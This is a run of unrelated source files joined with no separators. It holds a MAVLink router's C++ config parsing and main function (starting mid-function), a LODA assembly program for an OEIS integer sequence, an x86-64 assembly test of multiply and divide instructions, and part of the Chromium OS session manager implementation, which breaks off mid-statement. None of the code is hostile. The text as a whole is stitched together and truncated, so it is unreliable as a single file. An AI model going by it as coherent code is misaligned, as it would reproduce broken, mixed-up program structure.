assert(storage); assert(val_len); if (storage_len < sizeof(bool)) return -ENOBUFS; if (val_len > INT_MAX) return -EINVAL; bool *eavesdropping = (bool *)storage; if (memcaseeq(val, val_len, "normal", sizeof("normal") - 1)) { *eavesdropping = false; } else if (memcaseeq(val, val_len, "eavesdropping", sizeof("eavesdropping") - 1)) { *eavesdropping = true; } else { log_error("Unknown 'mode' key: %.*s", (int)val_len, val); return -EINVAL; } return 0; } static int parse_confs(ConfFile &conf) { int ret; size_t offset; struct ConfFile::section_iter iter; const char *pattern; static const ConfFile::OptionsTable option_table[] = { {"TcpServerPort", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(options, tcp_port)}, {"ReportStats", false, ConfFile::parse_bool, OPTIONS_TABLE_STRUCT_FIELD(options, report_msg_statistics)}, {"MavlinkDialect", false, parse_mavlink_dialect, OPTIONS_TABLE_STRUCT_FIELD(options, mavlink_dialect)}, {"Log", false, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(options, logs_dir)}, {"LogMode", false, parse_log_mode, OPTIONS_TABLE_STRUCT_FIELD(options, log_mode)}, {"DebugLogLevel", false, parse_log_level, OPTIONS_TABLE_STRUCT_FIELD(options, debug_log_level)}, {"MinFreeSpace", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(options, min_free_space)}, {"MaxLogFiles", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(options, max_log_files)}, }; struct option_uart { char *device; char *bauds; bool flowcontrol; unsigned long dropout_percentage; }; static const ConfFile::OptionsTable option_table_uart[] = { {"baud", false, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_uart, bauds)}, {"device", true, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_uart, device)}, {"FlowControl", false, ConfFile::parse_bool, OPTIONS_TABLE_STRUCT_FIELD(option_uart, flowcontrol)}, {"DropoutPercentage",false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_uart, dropout_percentage)}, }; struct option_udp { char *addr; bool eavesdropping; unsigned long port; char *filter; unsigned long coalesce_bytes; unsigned long coalesce_ms; char *coalesce_nodelay; unsigned long dropout_percentage; }; static const ConfFile::OptionsTable option_table_udp[] = { {"address", true, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_udp, addr)}, {"mode", true, parse_mode, OPTIONS_TABLE_STRUCT_FIELD(option_udp, eavesdropping)}, {"port", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_udp, port)}, {"filter", false, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_udp, filter)}, {"CoalesceBytes", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_udp, coalesce_bytes)}, {"CoalesceMs", false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_udp, coalesce_ms)}, {"CoalesceNoDelay", false, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_udp, coalesce_nodelay)}, {"DropoutPercentage",false, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_udp, dropout_percentage)}, }; struct option_tcp { char *addr; unsigned long port; int timeout; }; static const ConfFile::OptionsTable option_table_tcp[] = { {"address", true, ConfFile::parse_str_dup, OPTIONS_TABLE_STRUCT_FIELD(option_tcp, addr)}, {"port", true, ConfFile::parse_ul, OPTIONS_TABLE_STRUCT_FIELD(option_tcp, port)}, {"RetryTimeout", false, ConfFile::parse_i, OPTIONS_TABLE_STRUCT_FIELD(option_tcp, timeout)}, }; ret = conf.extract_options("General", option_table, ARRAY_SIZE(option_table), &opt); if (ret < 0) return ret; iter = {}; pattern = "uartendpoint *"; offset = strlen(pattern) - 1; while (conf.get_sections(pattern, &iter) == 0) { struct option_uart opt_uart = {nullptr, nullptr}; ret = conf.extract_options(&iter, option_table_uart, ARRAY_SIZE(option_table_uart), &opt_uart); if (ret == 0) ret = add_uart_endpoint(iter.name + offset, iter.name_len - offset, opt_uart.device, opt_uart.bauds, opt_uart.flowcontrol, opt_uart.dropout_percentage); free(opt_uart.device); free(opt_uart.bauds); if (ret < 0) return ret; } iter = {}; pattern = "udpendpoint *"; offset = strlen(pattern) - 1; while (conf.get_sections(pattern, &iter) == 0) { struct option_udp opt_udp = {nullptr, false, ULONG_MAX, nullptr, 0, 0, nullptr}; ret = conf.extract_options(&iter, option_table_udp, ARRAY_SIZE(option_table_udp), &opt_udp); if (ret == 0) { if (opt_udp.eavesdropping && opt_udp.port == ULONG_MAX) { log_error("Expected 'port' key for section %.*s", (int)iter.name_len, iter.name); ret = -EINVAL; } else { if (validate_ip(opt_udp.addr) < 0) { log_error("Invalid IP address in section %.*s: %s", (int)iter.name_len, iter.name, opt_udp.addr); ret = -EINVAL; } else { ret = add_udp_endpoint_address(iter.name + offset, iter.name_len - offset, opt_udp.addr, opt_udp.port, opt_udp.eavesdropping, opt_udp.filter, opt_udp.coalesce_bytes, opt_udp.coalesce_ms, opt_udp.coalesce_nodelay, opt_udp.dropout_percentage); } } } free(opt_udp.addr); free(opt_udp.coalesce_nodelay); free(opt_udp.filter); if (ret < 0) return ret; } iter = {}; pattern = "tcpendpoint *"; offset = strlen(pattern) - 1; while (conf.get_sections(pattern, &iter) == 0) { struct option_tcp opt_tcp = {nullptr, ULONG_MAX, DEFAULT_RETRY_TCP_TIMEOUT}; ret = conf.extract_options(&iter, option_table_tcp, ARRAY_SIZE(option_table_tcp), &opt_tcp); if (ret == 0) { if (validate_ip(opt_tcp.addr) < 0) { log_error("Invalid IP address in section %.*s: %s", (int)iter.name_len, iter.name, opt_tcp.addr); ret = -EINVAL; } else { ret = add_tcp_endpoint_address(iter.name + offset, iter.name_len - offset, opt_tcp.addr, opt_tcp.port, opt_tcp.timeout); } } free(opt_tcp.addr); if (ret < 0) return ret; } return 0; } static int cmpstr(const void *s1, const void *s2) { return strcmp(*(const char **)s1, *(const char **)s2); } static int parse_conf_files() { DIR *dir; struct dirent *ent; const char *filename, *dirname; int ret = 0; char *files[128] = {}; int i = 0, j = 0; ConfFile conf; // First, open default conf file filename = get_conf_file_name(); ret = conf.parse(filename); // If there's no default conf file, everything is good if (ret < 0 && ret != -ENOENT) { return ret; } dirname = get_conf_dir(); // Then, parse all files on configuration directory dir = opendir(dirname); if (!dir) return parse_confs(conf); while ((ent = readdir(dir))) { char path[PATH_MAX]; struct stat st; ret = snprintf(path, sizeof(path), "%s/%s", dirname, ent->d_name); if (ret >= (int)sizeof(path)) { log_error("Couldn't open directory %s", dirname); ret = -EINVAL; goto fail; } if (stat(path, &st) < 0 || !S_ISREG(st.st_mode)) { continue; } files[i] = strdup(path); if (!files[i]) { ret = -ENOMEM; goto fail; } i++; if ((size_t)i > sizeof(files) / sizeof(*files)) { log_warning("Too many files on %s. Not all of them will be considered", dirname); break; } } qsort(files, (size_t)i, sizeof(char *), cmpstr); for (j = 0; j < i; j++) { ret = conf.parse(files[j]); if (ret < 0) goto fail; free(files[j]); } closedir(dir); return parse_confs(conf); fail: while (j < i) { free(files[j++]); } closedir(dir); return ret; } /* * Frees dynamically allocated strings in options struct. This code was * extracted from Mainloop (where it does not belong at all) and simply * moved here verbatim as a "slightly" better place. * * XXX: it should go to proper encapsulation in config system; it should * not use C memory management. */ static void free_endpoints_options_strings(struct options* opts) { for (auto e = opts->endpoints; e;) { auto next = e->next; if (e->type == Udp || e->type == Tcp) { free(e->address); free(e->coalesce_nodelay); } else { free(e->device); delete e->bauds; } free(e->filter); free(e->name); free(e); e = next; } } int main(int argc, char *argv[]) { Mainloop mainloop; Log::open(); if (!pre_parse_argv(argc, argv)) { Log::close(); return 0; } if (parse_conf_files() < 0) goto close_log; if (parse_argv(argc, argv) != 2) goto close_log; Log::set_max_level((Log::Level) opt.debug_log_level); dbg("Cmd line and options parsed"); if (opt.tcp_port == ULONG_MAX) opt.tcp_port = MAVLINK_TCP_PORT; if (!mainloop.add_endpoints(mainloop, &opt)) goto endpoint_error; mainloop.loop(); free_endpoints_options_strings(&opt); free(opt.logs_dir); Log::close(); return 0; endpoint_error: free_endpoints_options_strings(&opt); free(opt.logs_dir); close_log: Log::close(); return EXIT_FAILURE; }
; A051398: a(n) = -(n-3)*a(n-1)+2*(n-2)^2. ; 2,6,6,14,-6,102,-514,3726,-29646,267014,-2669898,29369166,-352429654,4581585894,-64142202066,962133031502,-15394128503454,261700184559366,-4710603322067866,89501463119290254 add $0,6 mov $2,5 lpb $0,1 sub $0,1 mul $1,$2 sub $1,1 sub $2,1 lpe sub $1,$2 div $1,2 mul $1,4 add $1,2
.data mval: .quad 664751 dval: .quad 8 .text .global _start _start: # MUL 1-op mov mval(%rip), %rax mov $8, %rbx mul %rbx # IMUL 1-op mov mval(%rip), %rax mov $8, %rbx imul %rbx # IMUL 2-op mov $8, %rax imul mval(%rip), %rax # IMUL 3-op imul $8, mval(%rip), %rax # DIV 1-op mov $0, %rdx mov $5318008, %rax mov dval(%rip), %rcx div %rcx # IDIV 1-op mov $0, %rdx mov $5318008, %rax mov dval(%rip), %rcx idiv %rcx mov $60, %rax xor %rdi, %rdi syscall .end
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "login_manager/session_manager_impl.h" #include <errno.h> #include <stdint.h> #include <sys/socket.h> #include <algorithm> #include <iterator> #include <locale> #include <memory> #include <set> #include <string> #include <utility> #include <base/base64.h> #include <base/bind.h> #include <base/callback_helpers.h> #include <base/files/file_util.h> #include <base/rand_util.h> #include <base/run_loop.h> #include <base/strings/string_number_conversions.h> #include <base/strings/string_split.h> #include <base/strings/string_tokenizer.h> #include <base/strings/string_util.h> #include <base/strings/stringprintf.h> #include <base/threading/thread_task_runner_handle.h> #include <base/time/default_tick_clock.h> #include <base/time/time.h> #include <brillo/cryptohome.h> #include <brillo/dbus/dbus_object.h> #include <brillo/dbus/utils.h> #include <brillo/scoped_mount_namespace.h> #include <chromeos/dbus/service_constants.h> #include <crypto/scoped_nss_types.h> #include <dbus/message.h> #include <dbus/object_proxy.h> #include <install_attributes/libinstallattributes.h> #include <libpasswordprovider/password.h> #include <libpasswordprovider/password_provider.h> #include "bindings/chrome_device_policy.pb.h" #include "bindings/device_management_backend.pb.h" #include "login_manager/arc_sideload_status_interface.h" #include "login_manager/blob_util.h" #include "login_manager/crossystem.h" #include "login_manager/dbus_util.h" #include "login_manager/device_local_account_manager.h" #include "login_manager/device_policy_service.h" #include "login_manager/init_daemon_controller.h" #include "login_manager/key_generator.h" #include "login_manager/login_metrics.h" #include "login_manager/nss_util.h" #include "login_manager/policy_key.h" #include "login_manager/policy_service.h" #include "login_manager/process_manager_service_interface.h" #include "login_manager/proto_bindings/arc.pb.h" #include "login_manager/proto_bindings/login_screen_storage.pb.h" #include "login_manager/proto_bindings/policy_descriptor.pb.h" #include "login_manager/regen_mitigator.h" #include "login_manager/secret_util.h" #include "login_manager/system_utils.h" #include "login_manager/user_policy_service_factory.h" #include "login_manager/validator_utils.h" #include "login_manager/vpd_process.h" using base::FilePath; using brillo::cryptohome::home::GetHashedUserPath; using brillo::cryptohome::home::GetUserPath; using brillo::cryptohome::home::kGuestUserName; using brillo::cryptohome::home::SanitizeUserName; namespace login_manager { // NOLINT constexpr char SessionManagerImpl::kStarted[] = "started"; constexpr char SessionManagerImpl::kStopping[] = "stopping"; constexpr char SessionManagerImpl::kStopped[] = "stopped"; constexpr char SessionManagerImpl::kLoggedInFlag[] = "/run/session_manager/logged_in"; constexpr char SessionManagerImpl::kResetFile[] = "/mnt/stateful_partition/factory_install_reset"; constexpr char SessionManagerImpl::kTPMFirmwareUpdateLocationFile[] = "/run/tpm_firmware_update_location"; constexpr char SessionManagerImpl::kTPMFirmwareUpdateSRKVulnerableROCAFile[] = "/run/tpm_firmware_update_srk_vulnerable_roca"; constexpr char SessionManagerImpl::kTPMFirmwareUpdateRequestFlagFile[] = "/mnt/stateful_partition/unencrypted/preserve/tpm_firmware_update_request"; constexpr char SessionManagerImpl::kStatefulPreservationRequestFile[] = "/mnt/stateful_partition/preservation_request"; constexpr char SessionManagerImpl::kStartUserSessionImpulse[] = "start-user-session"; // ARC related impulse (systemd unit start or Upstart signal). constexpr char SessionManagerImpl::kStartArcInstanceImpulse[] = "start-arc-instance"; constexpr char SessionManagerImpl::kStopArcInstanceImpulse[] = "stop-arc-instance"; constexpr char SessionManagerImpl::kContinueArcBootImpulse[] = "continue-arc-boot"; constexpr char SessionManagerImpl::kArcBootedImpulse[] = "arc-booted"; // Lock state related impulse (systemd unit start or Upstart signal). constexpr char SessionManagerImpl::kScreenLockedImpulse[] = "screen-locked"; constexpr char SessionManagerImpl::kScreenUnlockedImpulse[] = "screen-unlocked"; // TODO(b:66919195): Optimize Android container shutdown time. It // needs as long as 3s on kevin to perform graceful shutdown. constexpr base::TimeDelta SessionManagerImpl::kContainerTimeout = base::TimeDelta::FromSeconds(3); constexpr base::TimeDelta SessionManagerImpl::kCrashBeforeSuspendInterval = base::TimeDelta::FromSeconds(5); constexpr base::TimeDelta SessionManagerImpl::kCrashAfterSuspendInterval = base::TimeDelta::FromSeconds(5); namespace { // Because the cheets logs are huge, we set the D-Bus timeout to 1 minute. const base::TimeDelta kBackupArcBugReportTimeout = base::TimeDelta::FromMinutes(1); // The flag to pass to chrome to open a named socket for testing. const char kTestingChannelFlag[] = "--testing-channel=NamedTestingInterface:"; // Device-local account state directory. const char kDeviceLocalAccountStateDir[] = "/var/lib/device_local_accounts"; #if USE_CHEETS // To launch ARC, certain amount of free disk space is needed. // Path and the amount for the check. constexpr char kArcDiskCheckPath[] = "/home"; constexpr int64_t kArcCriticalDiskFreeBytes = 64 << 20; // 64MB // To set the CPU limits of the Android container. const char kCpuSharesFile[] = "/sys/fs/cgroup/cpu/session_manager_containers/cpu.shares"; const unsigned int kCpuSharesForeground = 1024; const unsigned int kCpuSharesBackground = 64; #endif // The interval used to periodically check if time sync was done by tlsdated. constexpr base::TimeDelta kSystemClockLastSyncInfoRetryDelay = base::TimeDelta::FromMilliseconds(1000); // TPM firmware update modes. constexpr char kTPMFirmwareUpdateModeFirstBoot[] = "first_boot"; constexpr char kTPMFirmwareUpdateModePreserveStateful[] = "preserve_stateful"; constexpr char kTPMFirmwareUpdateModeCleanup[] = "cleanup"; // Policy storage constants. constexpr char kSigEncodeFailMessage[] = "Failed to retrieve policy data."; // Default path of symlink to log file where stdout and stderr from // session_manager and Chrome are redirected. constexpr char kDefaultUiLogSymlinkPath[] = "/var/log/ui/ui.LATEST"; // A path of the directory that contains all the key-value pairs stored to the // pesistent login screen storage. const char kLoginScreenStoragePath[] = "/var/lib/login_screen_storage"; const char* ToSuccessSignal(bool success) { return success ? "success" : "failure"; } #if USE_CHEETS bool IsDevMode(SystemUtils* system) { // When GetDevModeState() returns UNKNOWN, return true. return system->GetDevModeState() != DevModeState::DEV_MODE_OFF; } bool IsInsideVm(SystemUtils* system) { // When GetVmState() returns UNKNOWN, return false. return system->GetVmState() == VmState::INSIDE_VM; } #endif // Parses |descriptor_blob| into |descriptor| and validates it assuming the // given |usage|. Returns true and sets |descriptor| on success. Returns false // and sets |error| on failure. bool ParseAndValidatePolicyDescriptor( const std::vector<uint8_t>& descriptor_blob, PolicyDescriptorUsage usage, PolicyDescriptor* descriptor, brillo::ErrorPtr* error) { DCHECK(descriptor); DCHECK(error); if (!descriptor->ParseFromArray(descriptor_blob.data(), descriptor_blob.size())) { *error = CreateError(DBUS_ERROR_INVALID_ARGS, "PolicyDescriptor parsing failed."); return false; } if (!ValidatePolicyDescriptor(*descriptor, usage)) { *error = CreateError(DBUS_ERROR_INVALID_ARGS, "PolicyDescriptor invalid."); return false; } return true; } // Handles the result of an attempt to connect to a D-Bus signal, logging an // error on failure. void HandleDBusSignalConnected(const std::string& interface, const std::string& signal, bool success) { if (!success) { LOG(ERROR) << "Failed to connect to D-Bus signal " << interface << "." << signal; } } // Replaces the log file that |symlink_path| (typically /var/log/ui/ui.LATEST) // points to with a new file containing the same contents. This is used to // disconnect Chrome's stderr and stdout after a user logs in: // https://crbug.com/904850 void DisconnectLogFile(const base::FilePath& symlink_path) { base::FilePath log_path; if (!base::ReadSymbolicLink(symlink_path, &log_path)) return; if (!log_path.IsAbsolute()) log_path = symlink_path.DirName().Append(log_path); // Perform a basic safety check. if (log_path.DirName() != symlink_path.DirName()) { LOG(WARNING) << "Log file " << log_path.value() << " isn't in same " << "directory as symlink " << symlink_path.value() << "; not disconnecting it"; return; } // Copy the contents to a temp file and then move it over the original path. base::FilePath temp_path; if (!base::CreateTemporaryFileInDir(log_path.DirName(), &temp_path)) { PLOG(WARNING) << "Failed to create temp file in " << log_path.DirName().value(); return; } if (!base::CopyFile(log_path, temp_path)) { PLOG(WARNING) << "Failed to copy " << log_path.value() << " to " << temp_path.value(); return; } // Try to to copy permissions so the new file isn't 0600, which makes it hard // to investigate issues on non-dev devices. int mode = 0; if (!base::GetPosixFilePermissions(log_path, &mode) || !base::SetPosixFilePermissions(temp_path, mode)) { PLOG(WARNING) << "Failed to copy permissions from " << log_path.value() << " to " << temp_path.value(); } if (!base::ReplaceFile(temp_path, log_path, nullptr /* error */)) { PLOG(WARNING) << "Failed to rename " << temp_path.value() << " to " << log_path.value(); } } } // namespace // Tracks D-Bus service running. // Create*Callback functions return a callback adaptor from given // DBusMethodResponse. These cancel in-progress operations when the instance is // deleted. class SessionManagerImpl::DBusService { public: explicit DBusService(org::chromium::SessionManagerInterfaceAdaptor* adaptor) : adaptor_(adaptor), weak_ptr_factory_(this) {} ~DBusService() = default; bool Start(const scoped_refptr<dbus::Bus>& bus) { DCHECK(!dbus_object_); // Registers the SessionManagerInterface D-Bus methods and signals. dbus_object_ = std::make_unique<brillo::dbus_utils::DBusObject>( nullptr, bus, org::chromium::SessionManagerInterfaceAdaptor::GetObjectPath()); adaptor_->RegisterWithDBusObject(dbus_object_.get()); dbus_object_->RegisterAndBlock(); // Note that this needs to happen *after* all methods are exported // (http://crbug.com/331431). // This should pass dbus::Bus::REQUIRE_PRIMARY once on the new libchrome. return bus->RequestOwnershipAndBlock(kSessionManagerServiceName, dbus::Bus::REQUIRE_PRIMARY); } // Adaptor from DBusMethodResponse to PolicyService::Completion callback. PolicyService::Completion CreatePolicyServiceCompletionCallback( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response) { return base::Bind(&DBusService::HandlePolicyServiceCompletion, weak_ptr_factory_.GetWeakPtr(), base::Passed(&response)); } // Adaptor from DBusMethodResponse to // ServerBackedStateKeyGenerator::StateKeyCallback callback. ServerBackedStateKeyGenerator::StateKeyCallback CreateStateKeyCallback( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse< std::vector<std::vector<uint8_t>>>> response) { return base::Bind(&DBusService::HandleStateKeyCallback, weak_ptr_factory_.GetWeakPtr(), base::Passed(&response)); } private: void HandlePolicyServiceCompletion( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse<>> response, brillo::ErrorPtr error) { if (error) { response->ReplyWithError(error.get()); return; } response->Return(); } void HandleStateKeyCallback( std::unique_ptr<brillo::dbus_utils::DBusMethodResponse< std::vector<std::vector<uint8_t>>>> response, const std::vector<std::vector<uint8_t>>& state_key) { response->Return(std::move(state_key)); } org::chromium::SessionManagerInterfaceAdaptor* const adaptor_; std::unique_ptr<brillo::dbus_utils::DBusObject> dbus_object_; base::WeakPtrFactory<DBusService> weak_ptr_factory_; DISALLOW_COPY_AND_ASSIGN(DBusService); }; struct SessionManagerImpl::UserSession { public: UserSession(const std::string& username, const std::string& userhash, bool is_incognito, ScopedPK11SlotDescriptor desc, std::unique_ptr<PolicyService> policy_service) : username(username), userhash(userhash), is_incognito(is_incognito), descriptor(std::move(desc)), policy_service(std::move(policy_service)) {} ~UserSession() {} const std::string username; const std::string userhash; const bool is_incognito; ScopedPK11SlotDescriptor descriptor; std::unique_ptr<PolicyService> policy_service; }; SessionManagerImpl::SessionManagerImpl( Delegate* delegate, std::unique_ptr<InitDaemonController> init_controller, const scoped_refptr<dbus::Bus>& bus, KeyGenerator* key_gen, ServerBackedStateKeyGenerator* state_key_generator, ProcessManagerServiceInterface* manager, LoginMetrics* metrics, NssUtil* nss, base::Optional<base::FilePath> ns_path, SystemUtils* utils, Crossystem* crossystem, VpdProcess* vpd_process, PolicyKey* owner_key, ContainerManagerInterface* android_container, InstallAttributesReader* install_attributes_reader, dbus::ObjectProxy* powerd_proxy, dbus::ObjectProxy* system_clock_proxy, dbus::ObjectProxy* debugd_proxy, ArcSideloadStatusInterface* arc_sideload_status) : init_controller_(std::move(init_controller)), system_clock_last_sync_info_retry_delay_( kSystemClockLastSyncInfoRetryDelay), tick_clock_(std::make_unique<base::DefaultTickClock>()), bus_(bus), adaptor_(this), delegate_(delegate), key_gen_(key_gen), state_key_generator_(state_key_generator), manager_(manager), login_metrics_(metrics), nss_(nss), chrome_mount_ns_path_(ns_path), system_(utils), crossystem_(crossystem), vpd_process_(vpd_process), owner_key_(owner_key), android_container_(android_container), install_attributes_reader_(install_attributes_reader), powerd_proxy_(powerd_proxy), system_clock_proxy_(system_clock_proxy), debugd_proxy_(debugd_proxy), arc_sideload_status_(arc_sideload_status), mitigator_(key_gen), ui_log_symlink_path_(kDefaultUiLogSymlinkPath), password_provider_( std::make_unique<password_provider::PasswordProvider>()), login_screen_storage_(std::make_unique<LoginScreenStorage>( base::FilePath(kLoginScreenStoragePath), std::make_unique<secret_util::SharedMemoryUtil>())), weak_ptr_factory_(this) { DCHECK(delegate_); } SessionManagerImpl::~SessionManagerImpl() { device_policy_->set_delegate(nullptr); // Could use WeakPtr instead? } void SessionManagerImpl::SetPolicyServicesForTesting( std::unique_ptr<DevicePolicyService> device_policy, std::unique_ptr<UserPolicyServiceFactory> user_policy_factory, std::unique_ptr<DeviceLocalAccountManager> device_local_account_manager) { device_policy_ = std::move(device_policy); user_policy_factory_ = std::move(user_policy_factory); device_local_account_manager_ = std::move(device_local_account_manager); } void SessionManagerImpl::SetTickClockForTesting( std::unique_ptr<base::TickClock> clock) { tick_clock_ = std::move(clock); } void SessionManagerImpl::SetUiLogSymlinkPathForTesting( const base::FilePath& path) { ui_log_symlink_path_ = path; } void SessionManagerImpl::SetLoginScreenStorageForTesting( std::unique_ptr<LoginScreenStorage> login_screen_storage) { login_screen_storage_ = std::move(login_screen_storage); } void SessionManagerImpl::AnnounceSessionStoppingIfNeeded() { if (session_started_) { session_stopping_ = true; DLOG(INFO) << "Emitting D-Bus signal SessionStateChanged: " << kStopping; adaptor_.SendSessionStateChangedSignal(kStopping); } } void SessionManagerImpl::AnnounceSessionStopped() { session_stopping_ = session_started_ = false; DLOG(INFO) << "Emitting D-Bus signal SessionStateChanged: " << kStopped; adaptor_.SendSessionStateChangedSignal(kStopped); } bool SessionManagerImpl::ShouldEndSession(std::string* reason_out) { auto set_reason = [&](const std::string& reason) { if (reason_out) *reason_out = reason; }; if (screen_locked_) { set_reason("screen is locked"); return true; } if (supervised_user_creation_ongoing_) { set_reason("supervised user creation ongoing"); return true; } if (suspend_ongoing_) { set_reason("suspend ongoing"); return true; } if (!last_suspend_done_time_.is_null()) { const base::TimeDelta time_since_suspend = tick_clock_->NowTicks() - last_suspend_done_time_; if (time_since_suspend <= kCrashAfterSuspendInterval) { set_reason("suspend completed recently"); return true; } } set_reason(""); return false; } bool SessionManagerImpl::Initialize() { key_gen_->set_delegate(this); powerd_proxy_->ConnectToSignal( power_manager::kPowerManagerInterface, power_manager::kSuspendImminentSignal, base::Bind(&SessionManagerImpl::OnSuspendImminent, weak_ptr_factory_.GetWeakPtr()), base::Bind(&HandleDBusSignalConnected)); powerd_proxy_->ConnectToSignal(power_manager::kPowerManagerInterface, power_manager::kSuspendDoneSignal, base::Bind(&SessionManagerImpl::OnSuspendDone, weak_ptr_factory_.GetWeakPtr()), base::Bind(&HandleDBusSignalConnected)); system_clock_proxy_->WaitForServiceToBeAvailable( base::Bind(&SessionManagerImpl::OnSystemClockServiceAvailable, weak_ptr_factory_.GetWeakPtr())); // Note: If SetPolicyServicesForTesting has been called, all services have // already been set and initialized. if (!device_policy_) { device_policy_ = DevicePolicyService::Create( owner_key_, login_metrics_, &mitigator_, nss_, crossystem_, vpd_process_, install_attributes_reader_); // Thinking about combining set_delegate() with the 'else' block below and // moving it down? Note that device_policy_->Initialize() might call // OnKeyPersisted() on the delegate, so be sure it's safe. device_policy_->set_delegate(this); if (!device_policy_->Initialize()) return false; DCHECK(!user_policy_factory_); user_policy_factory_ = std::make_unique<UserPolicyServiceFactory>(nss_, system_); device_local_account_manager_ = std::make_unique<DeviceLocalAccountManager>( base::FilePath(kDeviceLocalAccountStateDir), owner_key_), device_local_account_manager_->UpdateDeviceSettings( device_policy_->GetSettings()); if (device_policy_->MayUpdateSystemSettings()) device_policy_->UpdateSystemSettings(PolicyService::Completion()); } else { device_policy_->set_delegate(this); } arc_sideload_status_->Initialize(); return true; } void SessionManagerImpl::Finalize() { // Reset the SessionManagerDBusAdaptor first to ensure that it'll permit // any outstanding DBusMethodCompletion objects to be abandoned without // having been run (http://crbug.com/638774, http://crbug.com/725734). dbus_service_.reset(); device_policy_->PersistAllPolicy(); for (const auto& kv : user_sessions_) { if (kv.second) kv.second->policy_service->PersistAllPolicy(); } device_local_account_manager_->PersistAllPolicy(); // We want to stop all running containers and VMs. Containers and VMs are // per-session and cannot persist across sessions. android_container_->RequestJobExit( ArcContainerStopReason::SESSION_MANAGER_SHUTDOWN); android_container_->EnsureJobExit(kContainerTimeout); arc_sideload_status_.reset(); } bool SessionManagerImpl::StartDBusService() { DCHECK(!dbus_service_); auto dbus_service = std::make_unique<DBusService>(&adaptor_); if (!dbus_service->Start(bus_)) return false; dbus_service_ = std::move(dbus_service); return true; } void SessionManagerImpl::EmitLoginPromptVisible() { login_metrics_->RecordStats("login-prompt-visible"); adaptor_.SendLoginPromptVisibleSignal(); init_controller_->TriggerImpulse("login-prompt-visible", {}, InitDaemonController::TriggerMode::ASYNC); } void SessionManagerImpl::EmitAshInitialized() { init_controller_->TriggerImpulse("ash-initialized", {}, InitDaemonController::TriggerMode::ASYNC); } bool SessionManagerImpl::EnableChromeTesting( brillo::ErrorPtr* error, bool in_force_relaunch, const std::vector<std::string>& in_test_arguments, const std::vector<std::string>& in_test_environment_variables, std::string* out_filepath) { // Check to see if we already have Chrome testing enabled. bool already_enabled = !chrome_testing_path_.empty(); if (!already_enabled) { base::FilePath temp_file_path; // So we don't clobber chrome_testing_path_; if (!system_->GetUniqueFilenameInWriteOnlyTempDir(&temp_file_path)) { *error = CreateError(dbus_error::kTestingChannelError, "Could not create testing channel filename."); return false; } chrome_testing_path_ = temp_file_path; } if (!already_enabled || in_force_relaunch) { // Delete testing channel file if it already exists. system_->RemoveFile(chrome_testing_path_); // Add testing channel argument to arguments. std::string testing_argument = kTestingChannelFlag; testing_argument.append(chrome_testing_path_.value()); std::vector<std::string> test_args = in_test_arguments; test_args.push_back(testing_argument); manager_->SetBrowserTestArgs(test_args); manager_->SetBrowserAdditionalEnvironmentalVariables( in_test_environment_variables); manager_->RestartBrowser(); } *out_filepath = chrome_testing_path_.value(); return true; } bool SessionManagerImpl::LoginScreenStorageListKeys( brillo::ErrorPtr* error, std::vector<std::string>* out_keys) { *out_keys = login_screen_storage_->ListKeys(); return true; } void SessionManagerImpl::LoginScreenStorageDelete(const std::string& in_key) { login_screen_storage_->Delete(in_key); } bool SessionManagerImpl::StartSession(brillo::ErrorPtr* error, const std::string& in_account_id, const std::string& in_unique_identifier) { std::string actual_account_id; if (!NormalizeAccountId(in_account_id, &actual_account_id, error)) { DCHECK(*error); return false; } // Check if this user already started a session. if (user_sessions_.count(actual_account_id) > 0) { *error = CREATE_ERROR_AND_LOG(dbus_error::kSessionExists, "Provided user id already started a session."); return false; } // Create a UserSession object for this user. const bool is_incognito = IsIncognitoAccountId(actual_account_id); const OptionalFilePath ns_mnt_path = is_incognito || IsolateUserSession() ? chrome_mount_ns_path_ : base::nullopt; auto user_session = CreateUserSession(actual_account_id, ns_mnt_path, is_incognito, error); if (!user_session) { DCHECK(*error); return false; } // Check whether the current user is the owner, and if so make sure they are // whitelisted and have an owner key. bool user_is_owner = false; if (!device_policy_->CheckAndHandleOwnerLogin(user_session->username, user_session->descriptor.get(), &user_is_owner, error)) { DCHECK(*error); return false; } // If all previous sessions were incognito (or no previous sessions exist). bool is_first_real_user = AllSessionsAreIncognito() && !is_incognito; // Send each user login event to UMA (right before we start session // since the metrics library does not log events in guest mode). const DevModeState dev_mode_state = system_->GetDevModeState(); if (dev_mode_state != DevModeState::DEV_MODE_UNKNOWN) { login_metrics_->SendLoginUserType( dev_mode_state != DevModeState::DEV_MODE_OFF, is_incognito, user_is_owner); } // Make sure that Chrome's stdout and stderr, which may contain log messages // with user-specific data, don't get saved after the first user logs in: // https://crbug.com/904850 if (user_sessions_.empty()) DisconnectLogFile(ui_log_symlink_path_); init_controller_->TriggerImpulse(kStartUserSessionImpulse, {"CHROMEOS_USER=" + actual_account_id}, InitDaemonController::TriggerMode::ASYNC); LOG(INFO) << "Starting user session"; manager_->SetBrowserSessionForUser(actual_account_id, user_session->userhash); session_started_ = true; user_sessions_[actual_account_id] = std::move(user_session); if (is_first_real_user) { DCHECK(primary_user_account_id_.empty()); primary_user_account_id_ = actual_account_id; } DLOG(INFO) << "Emitting D-Bus signal SessionStateChanged: " << kStarted; adaptor_.SendSessionStateChangedSignal(kStarted); // Active Directory managed devices are not expected to have a policy key. // Don't create one for them. const bool is_active_directory = install_attributes_reader_->GetAttribute( InstallAttributesReader::kAttrMode) == 